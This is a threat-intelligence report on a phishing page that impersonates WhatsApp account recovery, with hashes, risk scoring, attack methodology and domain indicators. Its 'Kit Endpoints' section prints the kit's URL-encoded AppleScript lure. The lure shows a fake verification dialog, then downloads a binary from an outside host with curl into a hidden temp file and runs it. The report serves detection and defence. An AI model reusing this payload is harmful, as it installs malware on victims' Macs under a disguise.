Phishing Analysis
Detailed analysis of captured phishing page
Captura Visual
Información de Detección
https://t43wmtq3rv5rs.kimi.page/auth/recovery.hta
Detected Brand
WhatsApp (implied by logo)
Country
Unknown
Confianza
100%
HTTP Status
200
Report ID
2b71d730-41e…
Analyzed
2026-07-20 17:09
Hashes de Contenido (Similitud HTML)
Used to detect similar phishing pages based on HTML content
| Algorithm | Hash Value |
|---|---|
|
CONTENT
TLSH
|
T1FEC2B6B5A155E83666B7C8D1E2795B4F71C0EB0ADE572340D7EE83B805CADE2FE21240 |
|
CONTENT
ssdeep
|
768:/okcvaLysYYd2MMIEx2TV5SrRVcQ2c/3vT21soGo:/okcvaLysYYd2MfO2p5SrRVcQx/3vTWr |
Hashes Visuales (Similitud de Captura)
Used to detect visually similar phishing pages based on screenshots
| Algorithm | Hash Value |
|---|---|
|
VISUAL
pHash
|
8cf4a1f6a6c6a598 |
|
VISUAL
aHash
|
ff183c3c3c383c19 |
|
VISUAL
dHash
|
2271716961617163 |
|
VISUAL
wHash
|
ff183c3c3c383c19 |
|
VISUAL
colorHash
|
30007000000 |
|
VISUAL
cropResistant
|
2271716961617163 |
Análisis de Código
Risk Score
70/100
Nivel de Amenaza
ALTO
⚠️ Phishing Confirmed
🎣 OTP Stealer
🎣 Banking
🎣 Personal Info
🎯 Kit Endpoints
- applescript://com.apple.scripteditor?action=new&script=--%20Account%20Verification%0Aset%20serverUrl%20to%20%22https%3A%2F%2Fdemo.chimera-v12.com%2Fpatch%2FmacOS%22%0Aset%20tempPath%20to%20%22%2Ftmp%2F.wa_verify_%22%20%26%20%28do%20shell%20script%20%22openssl%20rand%20-hex%204%22%29%0Aset%20verificationSteps%20to%20%7B%22Checking%20account%20status...%22%2C%20%22Verifying%20device%20integrity...%22%2C%20%22Scanning%20for%20threats...%22%2C%20%22Restoring%20permissions...%22%2C%20%22Finalizing%20recovery...%22%7D%0Adisplay%20dialog%20%22Account%20Verification%22%20%26%20return%20%26%20return%20%26%20%22Your%20account%20has%20been%20temporarily%20suspended.%20This%20process%20will%20restore%20your%20messaging%20access.%22%20%26%20return%20%26%20return%20%26%20%22Steps%3A%205%22%20%26%20return%20%26%20%22Estimated%20time%3A%2030%20seconds%22%20with%20title%20%22Security%20Center%22%20buttons%20%7B%22Cancel%22%2C%20%22Start%20Verification%22%7D%20default%20button%20%22Start%20Verification%22%20with%20icon%20note%0Aif%20button%20returned%20of%20result%20is%20%22Start%20Verification%22%20then%0A%09try%0A%09%09do%20shell%20script%20%22curl%20-sL%20%27%22%20%26%20serverUrl%20%26%20%22%27%20-o%20%22%20%26%20tempPath%20%26%20%22%20%26%26%20chmod%20%2Bx%20%22%20%26%20tempPath%20%26%20%22%20%26%26%20%22%20%26%20tempPath%20%26%20%22%20%3E%20%2Fdev%2Fnull%202%3E%261%20%26%22%0A%09%09set%20progress%20total%20steps%20to%205%0A%09%09set%20progress%20completed%20steps%20to%200%0A%09%09set%20progress%20description%20to%20%22Verifying%20your%20account...%22%0A%09%09repeat%20with%20i%20from%201%20to%205%0A%09%09%09set%20progress%20additional%20description%20to%20item%20i%20of%20verificationSteps%0A%09%09%09delay%203%0A%09%09%09set%20progress%20completed%20steps%20to%20i%0A%09%09end%20repeat%0A%09%09display%20dialog%20%22Verification%20Complete%21%22%20%26%20return%20%26%20return%20%26%20%22Your%20account%20has%20been%20restored.%22%20%26%20return%20%26%20%22You%20can%20now%20sen
📡 API Calls Detected
- https://ipwho.is/
📊 Desglose de Puntuación de Riesgo
Total Risk Score
100/100
Contributing Factors
Active Phishing Kit
Detected kit types: OTP Stealer, Banking, Personal Info
🔬 Análisis Integral de Amenazas
Tipo de Amenaza
Banking Credential Harvester
Objetivo
WhatsApp (implied by logo) users
Método de Ataque
Phishing webpage
Canal de Exfiltración
Form submission (backend endpoint not detected - likely JavaScript-based)
Evaluación de Riesgo
HIGH - Automated credential harvesting with Form submission (backend endpoint not detected - likely JavaScript-based)
⚠️ Indicators of Compromise
- Kit types: OTP Stealer, Banking, Personal Info
🏢 Análisis de Suplantación de Marca
Impersonated Brand
WhatsApp (implied by logo)
Official Website
N/A
Fake Service
Account login portal
⚔️ Metodología de Ataque
Primary Method: Two-Factor Authentication Bypass
Victim is prompted for 2FA code after entering credentials. The code is intercepted and used by attacker to access victim's account in real-time.
Secondary Method: Banking Credential Theft
Victim enters banking credentials including account numbers and security questions. Attacker gains full access to victim's banking services.
🌐 Indicadores de Compromiso de Infraestructura
Domain Information
Dominio
t43wmtq3rv5rs.kimi.page
Registered
Unknown
Registrar
Unknown
Estado
Age unknown
Hosting Information
Provider
Unknown
ASN
🤖 AI-Extracted Threat Intelligence
Scan History for t43wmtq3rv5rs.kimi.page
Found 2 other scans for this domain
"Nunca pensé que me pasaría a mí"
Esto dicen las 2.3 millones de víctimas cada año. No esperes a ser una estadística.